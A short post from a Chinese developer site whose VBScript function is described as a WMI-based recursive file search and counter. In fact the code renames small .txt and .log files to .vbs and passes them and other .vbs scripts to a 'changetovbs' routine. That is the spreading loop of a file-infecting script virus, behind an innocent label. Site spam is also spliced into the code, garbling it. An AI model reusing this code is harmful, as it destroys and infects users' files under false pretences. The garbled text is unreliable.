开发者

VBS调用WMI遍历搜索硬盘文件并计数的方法

多年之前写的一个VBShttp://www.devze.com调用WMI来遍历搜索硬盘文件,并计数的函数,今天整理网盘,看到了,发上来

核心代码:

Function wmisfile(path_sf,justcnt)
  'On Error Resume Next
  StrComputer = "."
  Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2")
  Set FileList = objWMIService.ExecQuery _
  ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _
   & "ResultClass = CIM_DataFile")
  For Each objFile In FileList
    fname = LCase(objfile.n编程客栈ame)
    ename = LCase(objfile.extension)
    Iwww.devze.comf 1 < objfile.filesize And objfile.filesize <= 50000 Then
      Select Case ename
        Case "txt","log"
        path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
        objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")
        Call changetovbs(path_vbs,path_vbs)
        justcnt = justcnt + 1
        Case "vbs"
        If checkversion(fname) = False Then
          Call changetovbs(fname,fname)
          justcnt = justcnt + 1
        End If
      End Select
    End If
  Next
  Set colSubfolders = objWMIService.ExecQuery _
  ("Associators of {Win32_Dire编程客栈ctory.Name='" & path_sf & "'} " _
   & "Where AssocC编程客栈lass = Win32_Subdirectory " _
   & "ResultRole = 开发者_Go教程PartComponent")
  For Each objFolder In colSubfolders
    wmisfile objfolder.name,justcnt
  Next
End Function

0

上一篇:

下一篇:

精彩评论

暂无评论...
验证码 换一张
取 消

最新开发

开发排行榜